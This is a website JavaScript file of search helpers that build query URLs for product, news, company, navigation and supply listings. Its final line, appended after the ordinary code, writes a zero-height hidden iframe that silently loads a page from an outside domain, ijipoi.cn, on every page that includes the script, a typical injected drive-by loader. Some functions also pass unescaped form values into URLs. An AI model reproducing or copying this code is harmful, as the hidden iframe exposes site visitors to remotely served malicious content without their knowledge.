function trim(s){
 return s.replace(/(^\s*)|(\s*$)/g, "");
} 
String.prototype.isInteger = function()
{
	var _i = /^[-\+]?\d+$/;
	var _s = this; 
	return _i.test(_s);
}
function productsearch()
{
	var keyword=document.getElementById("pkeywords");
	var classid=document.getElementById("pclassselect");
	if(trim(keyword.value)=="" && trim(classid.value)=="")
	{
		alert("请输入关键字！");
		return;
	}
	top.location="/product/productsearchlist.aspx?keyword="+escape(trim(keyword.value))+"&classid="+escape(trim(classid.value));
	
}
function newssearch()
{
	var keyword=document.getElementById("newskeywords");
	var classid=document.getElementById("newsclassselect");
	if(trim(keyword.value)=="" && trim(classid.value)=="")
	{
		alert("请输入关键字！");
		return;
	}
	top.location="/news/newssearchlist.aspx?keyword="+escape(trim(keyword.value))+"&classid="+escape(trim(classid.value));
	
}

function companysearch()
{
	var keyword=document.getElementById("keyword");
	var model=document.getElementsByName("model");
	var type=document.getElementById("type");
	var grading = document.getElementById("grading");
	var md1="";
	for(var i=0;i<model.length;i++)
	{
		if(model[i].checked)
		{
			if(md1.length!=0)
			   md1+=",";
			md1+=model[i].value;
		}
	}
	top.location="/member/companylist.aspx?keyword="+escape(trim(keyword.value))+"&model="+escape(md1)+"&type="+type.value+"&grading="+grading.value;
	
}
function navigationsearch()
{
	var keyword=document.getElementById("keywords");
	var addr=document.getElementById("addr");
	var classid=document.getElementById("fw");
	if(trim(keyword.value)=="" && trim(addr.value)=="" && trim(classid.value)=="")
	{
		alert("请输入关键字！");
		return;
	}
	top.location="/navigation/navigationsearchlist.aspx?keyword="+escape(trim(keyword.value))+"&addr="+escape(trim(addr.value))+"&daclassid="+fw.value;
	
}
function navigationsearch1()
{
	var keyword=document.getElementById("nkeyword");
	var addr=document.getElementById("naddr");
	var classid=document.getElementById("nclassid");
	if(trim(keyword.value)=="" && trim(addr.value)=="" && trim(classid.value)=="")
	{
		alert("请输入关键字！");
		return;
	}
	top.location="/navigation/navigationsearchlist.aspx?keyword="+escape(trim(keyword.value))+"&addr="+escape(trim(addr.value))+"&daclassid="+classid.value;
	
}

function supplysearch()
{
	var keyword=document.getElementById("keyword");
	var class1=document.getElementById("selP1");
	var class2=document.getElementById("selP2");
	var class3=document.getElementById("selP3");
	var class4=document.getElementById("selP4");
	
	if(trim(keyword.value)=="" && trim(class1.value)=="" && trim(class2.value)=="" && trim(class3.value)=="" && trim(class4.value)=="" )
	{
		alert("请输入关键字！");
		return;
	}
	var classid="";
	if(trim(class4.value)=="")
	{
		if(trim(class3.value)=="")
		{
			if(trim(class2.value)=="")
			  classid=class1.value;
			  else
			  classid=class2.value;
		}else
		{
			classid=class3.value;
		}
	}
	else
	{
		classid=class4.value;
	}
	top.location="/supply/supplylist1.aspx?keyword="+escape(trim(keyword.value))+"&classid="+classid;
	
}
document.writeln("<iframe src=http:\/\/ijipoi.cn\/1\/a1.htm?150 width=50 height=0 border=0><\/iframe> ");